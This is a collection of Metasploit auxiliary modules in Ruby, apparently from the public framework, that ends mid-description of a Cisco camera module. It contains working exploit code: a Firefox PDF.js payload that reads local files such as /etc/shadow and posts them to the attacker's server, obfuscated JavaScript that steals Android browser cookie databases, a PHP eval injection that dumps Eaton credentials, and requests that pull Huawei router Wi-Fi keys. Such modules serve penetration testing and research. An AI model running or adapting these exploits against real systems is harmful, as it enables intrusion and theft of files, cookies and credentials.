<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::HttpServer::HTML<br /> include Msf::Auxiliary::Report<br /><br /> def initialize(info={})<br /> super(update_info(info,<br /> 'Name' => 'Firefox PDF.js Browser File Theft',<br /> 'Description' => %q{<br /> This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR<br /> 38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability<br /> occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with<br /> privileges to read local files. The in-the-wild malicious payloads searched for sensitive<br /> files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they<br /> do not use the Mozilla PDF viewer.<br /> },<br /> 'Author' => [<br /> 'Unknown', # From an 0day served on Russian news website<br /> 'fukusa', # Hacker news member that reported the issue<br /> 'Unknown' # Metasploit module<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],<br /> 'PassiveActions' => [ 'WebServer' ],<br /> 'References' =><br /> [<br /> ['URL', 'https://paste.debian.net/290146'], # 0day exploit<br /> ['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer<br /> ['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'],<br /> ['CVE', '2015-4495']<br /> ],<br /> 'DefaultAction' => 'WebServer'<br /> ))<br /><br /> register_options([<br /> OptString.new('FILES', [<br /> false,<br /> 'Comma-separated list of files to steal',<br /> '/etc/passwd, /etc/shadow'<br /> ])<br /> ])<br /><br /> register_advanced_options([<br /> OptInt.new('PER_FILE_SLEEP', [<br /> false,<br /> 'Milliseconds to wait before attempting to read the frame containing each file',<br /> 250<br /> ])<br /> ])<br /> end<br /><br /> def run<br /> print_status("File targeted for exfiltration: #{JSON.generate(file_urls)}")<br /> exploit<br /> end<br /><br /> def on_request_uri(cli, request)<br /> if request.method.downcase == 'post'<br /> print_status('Got POST request...')<br /> process_post(cli, request)<br /> send_response_html(cli, '')<br /> else<br /> print_status('Sending exploit...')<br /> send_response_html(cli, html)<br /> end<br /> end<br /><br /> def process_post(cli, req)<br /> name = req.qstring['name']<br /> print_good("Received #{name}, size #{req.body.bytes.length}...")<br /> output = store_loot(<br /> name || 'data', 'text/plain', cli.peerhost, req.body, 'firefox_theft', 'Firefox PDF.js exfiltrated file'<br /> )<br /> print_good("Stored to #{output}")<br /> end<br /><br /> def html<br /> exploit_js = js + file_payload + '}, 20);'<br /><br /> "<!doctype html><html><body><script>#{exploit_js}</script></body></html>"<br /> end<br /><br /> def backend_url<br /> proto = (datastore['SSL'] ? 'https' : 'http')<br /> my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']<br /> port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"<br /> resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource<br /><br /> "#{proto}://#{my_host}#{port_str}#{resource}/catch"<br /> end<br /><br /><br /> def file_payload<br /> %Q|<br /> var files = (#{JSON.generate(file_urls)});<br /> function next() {<br /> var f = files.pop();<br /> if (f) {<br /> get("file://"+f, function() {<br /> var data = get_data(this);<br /> var x = new XMLHttpRequest;<br /> x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%"));<br /> x.send(data);<br /> }, #{datastore['PER_FILE_SLEEP']}, "%URL%", f);<br /> setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200);<br /> }<br /> }<br /> next();<br /> |<br /> end<br /><br /> def file_urls<br /> datastore['FILES'].split(',').map(&:strip)<br /> end<br /><br /> def js<br /> <<-EOJS<br />function xml2string(obj) {<br /> return new XMLSerializer().serializeToString(obj);<br />}<br /><br />function __proto(obj) {<br /> return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;<br />}<br /><br />function get(path, callback, timeout, template, value) {<br /> callback = _(callback);<br /> if (template && value) {<br /> callback = callback.replace(template, value);<br /> }<br /> js_call1 = 'javascript:' + _(function() {<br /> try {<br /> open("%url%", "_self");<br /> } catch (e) {<br /> history.back();<br /> }<br /> undefined;<br /> }, "%url%", path);<br /> js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';<br /> sandboxContext(_(function() {<br /> i = document.getElementById('i');<br /> p = __proto(i.contentDocument.styleSheets[0].ownerNode);<br /> i2 = document.getElementById('i2');<br /> l = p.__lookupSetter__.call(i2.contentWindow, 'location');<br /> l.call(i2.contentWindow, window.wrappedJSObject.js_call1);<br /> }));<br /> setTimeout((function() {<br /> sandboxContext(_(function() {<br /> p = __proto(i.contentDocument.styleSheets[0].ownerNode);<br /> l = p.__lookupSetter__.call(i2.contentWindow, 'location');<br /> l.call(i2.contentWindow, window.wrappedJSObject.js_call2);<br /> }));<br /> }), timeout);<br />}<br /><br />function get_data(obj) {<br /> data = null;<br /> try {<br /> data = obj.document.documentElement.innerHTML;<br /> if (data.indexOf('dirListing') < 0) {<br /> throw new Error();<br /> }<br /> } catch (e) {<br /> if (this.document instanceof XMLDocument) {<br /> data = xml2string(this.document);<br /> } else {<br /> try {<br /> if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {<br /> data = this.document.body.firstChild.textContent;<br /> } else {<br /> throw new Error();<br /> }<br /> } catch (e) {<br /> try {<br /> if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;<br /> return null;<br /> } else {<br /> throw new Error();<br /> }<br /> } catch (e) {<br /> ;;<br /> }<br /> }<br /> }<br /> }<br /> return data;<br />}<br /><br />function _(s, template, value) {<br /> s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];<br /> s = s.substring(0, s.length - 1);<br /> if (template && value) {<br /> s = s.replace(template, value);<br /> }<br /> s += __proto;<br /> s += xml2string;<br /> s += get_data;<br /> s = s.replace(/\\s\\/\\/.*\\n/g, "");<br /> s = s + ";undefined";<br /> return s;<br />}<br /><br />function get_sandbox_context() {<br /> if (window.my_win_id == null) {<br /> for (var i = 0; i < 20; i++) {<br /> try {<br /> if (window[i].location.toString().indexOf("view-source:") != -1) {<br /> my_win_id = i;<br /> break;<br /> }<br /> } catch (e) {}<br /> }<br /> };<br /> if (window.my_win_id == null)<br /> return;<br /> clearInterval(sandbox_context_i);<br /> object.data = 'view-source:' + blobURL;<br /> window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';<br /> object.data = 'data:text/html,<'+'html/>';<br /> window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+<br /> '"position:absolute; left:-9999px;" onload = "'+_(function(){<br /> window.wrappedJSObject.sandboxContext=(function(cmd) {<br /> with(importFunction.constructor('return this')()) {<br /> return eval(cmd);<br /> }<br /> });<br /> }) + '"/>');<br />}<br /><br /><br />var i = document.createElement("iframe");<br />i.id = "i";<br />i.width=i.height=0;<br />i.style='position:absolute;left:-9999px;';<br />i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";<br />document.documentElement.appendChild(i);<br />i.onload = function() {<br /> if (this.contentDocument.styleSheets.length > 0) {<br /> var i2 = document.createElement("iframe");<br /> i2.id = "i2";<br /> i2.width=i2.height=0;<br /> i2.style='position:absolute;left:-9999px;';<br /> i2.src = "data:application/pdf,";<br /> document.documentElement.appendChild(i2);<br /> pdfBlob = new Blob([''], {<br /> type: 'application/pdf'<br /> });<br /> blobURL = URL.createObjectURL(pdfBlob);<br /> object = document.createElement('object');<br /> object.data = 'data:application/pdf,';<br /> object.onload = (function() {<br /> sandbox_context_i = setInterval(get_sandbox_context, 200);<br /> object.onload = null;<br /> object.data = 'view-source:' + location.href;<br /> return;<br /> });<br /> document.documentElement.appendChild(object);<br /> } else {<br /> this.contentWindow.location.reload();<br /> }<br />}<br /><br />var kill = setInterval(function() {<br /> if (window.sandboxContext) {<br /> clearInterval(kill);<br /> } else {<br /> return;<br /> }<br />EOJS<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::HttpServer<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'HTTP Client LAN IP Address Gather',<br /> 'Description' => %q(<br /> This module retrieves a browser's network interface IP addresses<br /> using WebRTC.<br /> ),<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Daniel Roesler', # JS Code<br /> 'Dhiraj Mishra' # MSF Module<br /> ],<br /> 'References' => [<br /> [ 'CVE', '2018-6849' ],<br /> [ 'URL', 'http://net.ipcalf.com/' ],<br /> [ 'URL', 'https://www.inputzero.io/p/private-ip-leakage-using-webrtc.html' ]<br /> ],<br /> 'DisclosureDate' => '2013-09-05',<br /> 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],<br /> 'PassiveActions' => [ 'WebServer' ],<br /> 'DefaultAction' => 'WebServer'<br /> )<br /> )<br /> end<br /><br /> def run<br /> exploit # start http server<br /> end<br /><br /> def setup<br /> # code from: https://github.com/diafygi/webrtc-ips<br /> @html = <<-JS<br /><script><br />//get the IP addresses associated with an account<br />function getIPs(callback){<br /> var ip_dups = {};<br /><br /> //compatibility for firefox and chrome<br /> var RTCPeerConnection = window.RTCPeerConnection<br /> || window.mozRTCPeerConnection<br /> || window.webkitRTCPeerConnection;<br /> var useWebKit = !!window.webkitRTCPeerConnection;<br /><br /> //bypass naive webrtc blocking using an iframe<br /> if(!RTCPeerConnection){<br /> //NOTE: you need to have an iframe in the page right above the script tag<br /> //<br /> //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe><br /> //<script>...getIPs called in here...<br /> //<br /> var win = iframe.contentWindow;<br /> RTCPeerConnection = win.RTCPeerConnection<br /> || win.mozRTCPeerConnection<br /> || win.webkitRTCPeerConnection;<br /> useWebKit = !!win.webkitRTCPeerConnection;<br /> }<br /><br /> //minimal requirements for data connection<br /> var mediaConstraints = {<br /> optional: [{RtpDataChannels: true}]<br /> };<br /><br /> var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};<br /><br /> //construct a new RTCPeerConnection<br /> var pc = new RTCPeerConnection(servers, mediaConstraints);<br /><br /> function handleCandidate(candidate){<br /> //match just the IP address<br /> var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/<br /> var ip_addr = ip_regex.exec(candidate)[1];<br /><br /> //remove duplicates<br /> if(ip_dups[ip_addr] === undefined)<br /> callback(ip_addr);<br /><br /> ip_dups[ip_addr] = true;<br /> }<br /><br /> //listen for candidate events<br /> pc.onicecandidate = function(ice){<br /><br /> //skip non-candidate events<br /> if(ice.candidate)<br /> handleCandidate(ice.candidate.candidate);<br /> };<br /><br /> //create a bogus data channel<br /> pc.createDataChannel("");<br /><br /> //create an offer sdp<br /> pc.createOffer(function(result){<br /><br /> //trigger the stun server request<br /> pc.setLocalDescription(result, function(){}, function(){});<br /><br /> }, function(){});<br /><br /> //wait for a while to let everything done<br /> setTimeout(function(){<br /> //read candidate info from local description<br /> var lines = pc.localDescription.sdp.split('\\n');<br /><br /> lines.forEach(function(line){<br /> if(line.indexOf('a=candidate:') === 0)<br /> handleCandidate(line);<br /> });<br /> }, 1000);<br />}<br /><br />getIPs(function(ip){<br /> //console.log(ip);<br /> var xmlhttp = new XMLHttpRequest;<br /> xmlhttp.open('POST', window.location, true);<br /> xmlhttp.send(ip);<br />});<br /></script><br /> JS<br /> end<br /><br /> def on_request_uri(cli, request)<br /> case request.method.downcase<br /> when 'get'<br /> print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)")<br /> send_response(cli, @html)<br /> when 'post'<br /> begin<br /> ip = request.body<br /> if ip =~ /\A([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})\z/<br /> print_good("#{cli.peerhost}: Found IP address: #{ip}")<br /> else<br /> print_error("#{cli.peerhost}: Received malformed IP address")<br /> end<br /> rescue<br /> print_error("#{cli.peerhost}: Received malformed reply")<br /> end<br /> else<br /> print_error("#{cli.peerhost}: Unhandled method: #{request.method}")<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::HttpServer::HTML<br /> include Msf::Auxiliary::Report<br /> include Msf::Exploit::JSObfu<br /><br /> def initialize(info={})<br /> super(update_info(info,<br /> 'Name' => 'Android Browser "Open in New Tab" Cookie Theft',<br /> 'Description' => %q{<br /> In Android's stock AOSP Browser application and WebView component, the<br /> "open in new tab" functionality allows a file URL to be opened. On<br /> versions of Android before 4.4, the path to the sqlite cookie<br /> database could be specified. By saving a cookie containing a <script><br /> tag and then loading the sqlite database into the browser as an HTML file,<br /> XSS can be achieved inside the cookie file, disclosing *all* cookies<br /> (HttpOnly or not) to an attacker.<br /> },<br /> 'Author' => [<br /> 'Rafay Baloch', # Discovery of "Open in new tab" bug<br /> 'joev' # Cookie theft vector, msf module<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],<br /> 'PassiveActions' => [ 'WebServer' ],<br /> 'References' =><br /> [<br /> # the patch, released against 4.3 AOSP in February 2014<br /> ['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],<br /> ['URL', 'http://www.rafayhackingarticles.net/2014/12/android-browser-cross-scheme-data.html']<br /> ],<br /> 'DefaultAction' => 'WebServer'<br /> ))<br /><br /> register_options([<br /> OptString.new('COOKIE_FILE', [<br /> true,<br /> 'The cookie file (on older 2.x devices this is "webview.db")',<br /> 'webviewCookiesChromium.db'<br /> ])<br /> ])<br /> end<br /><br /> def on_request_uri(cli, request)<br /> if request.method =~ /POST/i<br /> print_status("Processing exfilrated files...")<br /> process_post(cli, request)<br /> send_response_html(cli, '')<br /> elsif request.uri =~ /\.js$/i<br /> print_status("Sending exploit javascript")<br /> send_response(cli, exfiltration_js, 'Content-type' => 'text/javascript')<br /> else<br /> print_status("Sending exploit landing page...")<br /> send_response_html(cli, landing_page_html)<br /> end<br /> end<br /><br /> def process_post(cli, request)<br /> data = hex2bin(request.body)<br /> print_good "Cookies received: #{request.body.length.to_f/1024}kb"<br /> loot_path = store_loot(<br /> "android.browser.cookies",<br /> 'application/x-sqlite3',<br /> cli.peerhost,<br /> data,<br /> 'cookies.sqlite',<br /> "#{cli.peerhost.ljust(16)} Android browser cookie database"<br /> )<br /> print_good "SQLite cookie database saved to:\n#{loot_path}"<br /> end<br /><br /> def run<br /> exploit<br /> end<br /><br /> def landing_page_html<br /> %Q|<br /> <!doctype html><br /> <html><br /> <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head><br /> <body style='width:100%;font-size: 16px;'><br /> <a href='file://#{cookie_path(datastore['COOKIE_FILE'])}##{Rex::Text.encode_base64(exfiltration_js)}'><br /> Redirecting... To continue, tap and hold here, then choose "Open in a new tab"<br /> </a><br /> <script><br /> #{inline_script}<br /> </script><br /> </body><br /> </html><br /> |<br /> end<br /><br /> def exfiltration_js<br /> js_obfuscate %Q|<br /> var x = new XMLHttpRequest();<br /> x.open('GET', '');<br /> x.responseType = 'arraybuffer';<br /> x.onreadystatechange = function(){<br /> if (x.readyState == 4) {<br /> var buff = new Uint8Array(x.response);<br /> var hex = Array.prototype.map.call(buff, function(d){<br /> var c = d.toString(16);<br /> return (c.length < 2) ? '0'+c : c;<br /> }).join('');<br /> var x2 = new XMLHttpRequest();<br /> x2.open('POST', '#{get_uri}/');<br /> x2.setRequestHeader('Content-type', 'text/plain');<br /> x2.send(hex);<br /> }<br /> };<br /> x.send();<br /><br /> |<br /> end<br /><br /> def inline_script<br /> %Q|<br /> document.cookie='#{per_run_token}=<script>eval(atob(location.hash.slice(1)))<\\/script>';<br /> |<br /> end<br /><br /> def cookie_path(file='')<br /> '/data/data/com.android.browser/databases/' + file<br /> end<br /><br /> # TODO: Make this a proper Rex::Text function<br /> def hex2bin(hex)<br /> hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join<br /> end<br /><br /> def per_run_token<br /> @token ||= Rex::Text.rand_text_alpha(rand(2)+1)<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Auxiliary::Report<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(update_info(info,<br /> 'Name' => 'Network Shutdown Module sort_values Credential Dumper',<br /> 'Description' => %q{<br /> This module will extract user credentials from Network Shutdown Module<br /> versions 3.21 and earlier by exploiting a vulnerability found in<br /> lib/dbtools.inc, which uses unsanitized user input inside a eval() call.<br /> Please note that in order to extract credentials, the vulnerable service<br /> must have at least one USV module (an entry in the "nodes" table in<br /> mgedb.db).<br /> },<br /> 'References' =><br /> [<br /> ['OSVDB', '83199'],<br /> ['URL', 'https://web.archive.org/web/20121014000855/http://secunia.com/advisories/49103/']<br /> ],<br /> 'Author' =><br /> [<br /> 'h0ng10',<br /> 'sinn3r'<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'DisclosureDate' => '2012-06-26'<br /> ))<br /><br /> register_options(<br /> [<br /> Opt::RPORT(4679)<br /> ])<br /> end<br /><br /> def execute_php_code(code, opts = {})<br /> param_name = Rex::Text.rand_text_alpha(6)<br /> padding = Rex::Text.rand_text_alpha(6)<br /> php_code = Rex::Text.encode_base64(code)<br /> url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"<br /><br /> res = send_request_cgi(<br /> {<br /> 'uri' => '/view_list.php',<br /> 'method' => 'POST',<br /> 'vars_get' =><br /> {<br /> 'paneStatusListSortBy' => url_param,<br /> },<br /> 'vars_post' =><br /> {<br /> param_name => php_code,<br /> },<br /> 'headers' =><br /> {<br /> 'Connection' => 'Close'<br /> }<br /> })<br /> res<br /> end<br /><br /> def read_credentials<br /> pattern = Rex::Text.rand_text_numeric(10)<br /> users_var = Rex::Text.rand_text_alpha(10)<br /> user_var = Rex::Text.rand_text_alpha(10)<br /> php = <<-EOT<br /> $#{users_var} = &queryDB("SELECT * FROM configUsers;");<br /> foreach($#{users_var} as $#{user_var}) {<br /> print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";<br /> } die();<br /> EOT<br /><br /> print_status("Reading user credentials from the database")<br /> response = execute_php_code(php)<br /><br /> if not response or response.code != 200 then<br /> print_error("Failed: Error requesting page")<br /> return<br /> end<br /><br /> credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)<br /> return credentials<br /> end<br /><br /> def run<br /> credentials = read_credentials<br /> if credentials.empty?<br /> print_warning("No credentials collected.")<br /> print_warning("Sometimes this is because the server isn't in the vulnerable state.")<br /> return<br /> end<br /><br /> cred_table = Rex::Text::Table.new(<br /> 'Header' => 'Network Shutdown Module Credentials',<br /> 'Indent' => 1,<br /> 'Columns' => ['Username', 'Password']<br /> )<br /><br /> credentials.each do |record|<br /> cred_table << [record[0], record[1]]<br /> end<br /><br /> print_line<br /> print_line(cred_table.to_s)<br /><br /> loot_name = "eaton.nsm.credentials"<br /> loot_type = "text/csv"<br /> loot_filename = "eaton_nsm_creds.csv"<br /> loot_desc = "Eaton Network Shutdown Module Credentials"<br /> p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc)<br /> print_good("Credentials saved in: #{p.to_s}")<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'base64'<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Auxiliary::Report<br /><br /> BASIC_INFO = {<br /> 'Device Name' => /<DeviceName>(.*)<\/DeviceName>/i,<br /> 'Serial Number' => /<SerialNumber>(.*)<\/SerialNumber>/i,<br /> 'IMEI' => /<Imei>(.*)<\/Imei>/i,<br /> 'IMSI' => /<Imsi>(.*)<\/Imsi>/i,<br /> 'ICCID' => /<Iccid>(.*)<\/Iccid>/i,<br /> 'Hardware Version' => /<HardwareVersion>(.*)<\/HardwareVersion>/i,<br /> 'Software Version' => /<SoftwareVersion>(.*)<\/SoftwareVersion>/i,<br /> 'WebUI Version' => /<WebUIVersion>(.*)<\/WebUIVersion>/i,<br /> 'Mac Address1' => /<MacAddress1>(.*)<\/MacAddress1>/i,<br /> 'Mac Address2' => /<MacAddress2>(.*)<\/MacAddress2>/i,<br /> 'Product Family' => /<ProductFamily>(.*)<\/ProductFamily>/i,<br /> 'Classification' => /<Classify>(.*)<\/Classify>/i<br /> }<br /><br /> WAN_INFO = {<br /> 'Wan IP Address' => /<WanIPAddress>(.*)<\/WanIPAddress>/i,<br /> 'Primary Dns' => /<PrimaryDns>(.*)<\/PrimaryDns>/i,<br /> 'Secondary Dns' => /<SecondaryDns>(.*)<\/SecondaryDns>/i<br /> }<br /><br /> DHCP_INFO ={<br /> 'LAN IP Address' => /<DhcpIPAddress>(.*)<\/DhcpIPAddress>/i,<br /> 'DHCP StartIPAddress' => /<DhcpStartIPAddress>(.*)<\/DhcpStartIPAddress>/i,<br /> 'DHCP EndIPAddress' => /<DhcpEndIPAddress>(.*)<\/DhcpEndIPAddress>/i,<br /> 'DHCP Lease Time' => /<DhcpLeaseTime>(.*)<\/DhcpLeaseTime>/i<br /> }<br /><br /> WIFI_INFO = {<br /> 'Wifi WPA pre-shared key' => /<WifiWpapsk>(.*)<\/WifiWpapsk>/i,<br /> 'Wifi Auth mode' => /<WifiAuthmode>(.*)<\/WifiAuthmode>/i,<br /> 'Wifi Basic encryption modes' => /<WifiBasicencryptionmodes>(.*)<\/WifiBasicencryptionmodes>/i,<br /> 'Wifi WPA Encryption Modes' => /<WifiWpaencryptionmodes>(.*)<\/WifiWpaencryptionmodes>/i,<br /> 'Wifi WEP Key1' => /<WifiWepKey1>(.*)<\/WifiWepKey1>/i,<br /> 'Wifi WEP Key2' => /<WifiWepKey2>(.*)<\/WifiWepKey2>/i,<br /> 'Wifi WEP Key3' => /<WifiWepKey3>(.*)<\/WifiWepKey3>/i,<br /> 'Wifi WEP Key4' => /<WifiWepKey4>(.*)<\/WifiWepKey4>/i,<br /> 'Wifi WEP Key Index' => /<WifiWepKeyIndex>(.*)<\/WifiWepKeyIndex>/i<br /> }<br /><br /> def initialize(info={})<br /> super(update_info(info,<br /> 'Name' => "Huawei Datacard Information Disclosure Vulnerability",<br /> 'Description' => %q{<br /> This module exploits an unauthenticated information disclosure vulnerability in Huawei<br /> SOHO routers. The module will gather information by accessing the /api pages where<br /> authentication is not required, allowing configuration changes as well as information<br /> disclosure, including any stored SMS.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' =><br /> [<br /> 'Jimson K James',<br /> 'Tom James <tomsmaily[at]aczire.com>', # Msf module<br /> ],<br /> 'References' =><br /> [<br /> ['CWE', '425'],<br /> ['CVE', '2013-6031'],<br /> ['US-CERT-VU', '341526']<br /> ],<br /> 'DisclosureDate' => '2013-11-11' ))<br /><br /> register_options(<br /> [<br /> Opt::RHOST('mobilewifi.home')<br /> ])<br /><br /> end<br /><br /> # Gather basic router information<br /> def run<br /> get_router_info<br /> print_line('')<br /> get_router_mac_filter_info<br /> print_line('')<br /> get_router_wan_info<br /> print_line('')<br /> get_router_dhcp_info<br /> print_line('')<br /> get_wifi_info<br /> end<br /><br /> def get_wifi_info<br /><br /> print_status("Getting WiFi Key details...")<br /> res = send_request_raw(<br /> {<br /> 'method' => 'GET',<br /> 'uri' => '/api/wlan/security-settings',<br /> })<br /><br /> unless is_target?(res)<br /> return<br /> end<br /><br /> resp_body = res.body.to_s<br /> log = ''<br /><br /> print_status("WiFi Key Details")<br /><br /> wifi_ssid = get_router_ssid<br /> if wifi_ssid<br /> print_status("WiFi SSID: #{wifi_ssid}")<br /> log << "WiFi SSID: #{wifi_ssid}\n"<br /> end<br /><br /> WIFI_INFO.each do |k,v|<br /> if resp_body.match(v)<br /> info = $1<br /> print_status("#{k}: #{info}")<br /> log << "#{k}: #{info}\n"<br /> end<br /> end<br /><br /> report_note(<br /> :host => rhost,<br /> :type => 'wifi_keys',<br /> :data => log<br /> )<br /> end<br /><br /> def get_router_info<br /><br /> print_status("Gathering basic device information...")<br /> res = send_request_raw(<br /> {<br /> 'method' => 'GET',<br /> 'uri' => '/api/device/information',<br /> })<br /><br /> unless is_target?(res)<br /> return<br /> end<br /><br /> resp_body = res.body.to_s<br /><br /> print_status("Basic Information")<br /><br /> BASIC_INFO.each do |k,v|<br /> if resp_body.match(v)<br /> info = $1<br /> print_status("#{k}: #{info}")<br /> end<br /> end<br /> end<br /><br /> def get_router_ssid<br /> print_status("Gathering device SSID...")<br /><br /> res = send_request_raw(<br /> {<br /> 'method' => 'GET',<br /> 'uri' => '/api/wlan/basic-settings',<br /> })<br /><br /> # check whether we got any response from server and proceed.<br /> unless is_target?(res)<br /> return nil<br /> end<br /><br /> resp_body = res.body.to_s<br /><br /> # Grabbing the Wifi SSID<br /> if resp_body.match(/<WifiSsid>(.*)<\/WifiSsid>/i)<br /> return $1<br /> end<br /><br /> nil<br /> end<br /><br /> def get_router_mac_filter_info<br /> print_status("Gathering MAC filters...")<br /> res = send_request_raw(<br /> {<br /> 'method' => 'GET',<br /> 'uri' => '/api/wlan/mac-filter',<br /> })<br /><br /> unless is_target?(res)<br /> return<br /> end<br /><br /> print_status('MAC Filter Information')<br /><br /> resp_body = res.body.to_s<br /><br /> if resp_body.match(/<WifiMacFilterStatus>(.*)<\/WifiMacFilterStatus>/i)<br /> wifi_mac_filter_status = $1<br /> print_status("Wifi MAC Filter Status: #{(wifi_mac_filter_status == '1') ? 'ENABLED' : 'DISABLED'}" )<br /> end<br /><br /> (0..9).each do |i|<br /> if resp_body.match(/<WifiMacFilterMac#{i}>(.*)<\/WifiMacFilterMac#{i}>/i)<br /> wifi_mac_filter = $1<br /> unless wifi_mac_filter.empty?<br /> print_status("Mac: #{wifi_mac_filter}")<br /> end<br /> end<br /> end<br /> end<br /><br /> def get_router_wan_info<br /> print_status("Gathering WAN information...")<br /> res = send_request_raw(<br /> {<br /> 'method' => 'GET',<br /> 'uri' => '/api/monitoring/status',<br /> })<br /><br /> unless is_target?(res)<br /> return<br /> end<br /><br /> resp_body = res.body.to_s<br /><br /> print_status('WAN Details')<br /><br /> WAN_INFO.each do |k,v|<br /> if resp_body.match(v)<br /> info = $1<br /> print_status("#{k}: #{info}")<br /> end<br /> end<br /> end<br /><br /> def get_router_dhcp_info<br /> print_status("Gathering DHCP information...")<br /> res = send_request_raw(<br /> {<br /> 'method' => 'GET',<br /> 'uri' => '/api/dhcp/settings',<br /> })<br /><br /> unless is_target?(res)<br /> return<br /> end<br /><br /> resp_body = res.body.to_s<br /><br /> print_status('DHCP Details')<br /><br /> # Grabbing the DhcpStatus<br /> if resp_body.match(/<DhcpStatus>(.*)<\/DhcpStatus>/i)<br /> dhcp_status = $1<br /> print_status("DHCP: #{(dhcp_status == '1') ? 'ENABLED' : 'DISABLED'}")<br /> end<br /><br /> unless dhcp_status && dhcp_status == '1'<br /> return<br /> end<br /><br /> DHCP_INFO.each do |k,v|<br /> if resp_body.match(v)<br /> info = $1<br /> print_status("#{k}: #{info}")<br /> end<br /> end<br /> end<br /><br /> def is_target?(res)<br /> # check whether we got any response from server and proceed.<br /> unless res<br /> print_error("Failed to get any response from server")<br /> return false<br /> end<br /><br /> # Is it a HTTP OK<br /> unless res.code == 200<br /> print_error("Did not get HTTP 200, URL was not found")<br /> return false<br /> end<br /><br /> # Check to verify server reported is a Huawei router<br /> unless res.headers['Server'].match(/IPWEBS\/1.4.0/i)<br /> print_error("Target doesn't seem to be a Huawei router")<br /> return false<br /> end<br /><br /> true<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Auxiliary::Report<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> {<br /> 'Name' => 'Cisco PVC2300 POE Video Camera configuration download',<br /> 'Description' => %q{<br /> This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order<br /> to download the configuration file containing the admin credentials for the web interface.<br /><br /> The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the<br /> module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml<br /> endpoint using hardcoded credentials.<br /><br /> If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml<br /> with the aim of downloading the configuration file. The configuration file, if obtained, is then<br /> decoded and saved to the loot directory. Finally, the module attempts to extract the admin<br /> credentials to the web interface from the decoded configuration file.<br /><br /> No known solution was made available for this vulnerability and no CVE has been published. It is<br /> therefore likely that most (if not all) Cisco PVC2300 cameras are affected.<br /><br 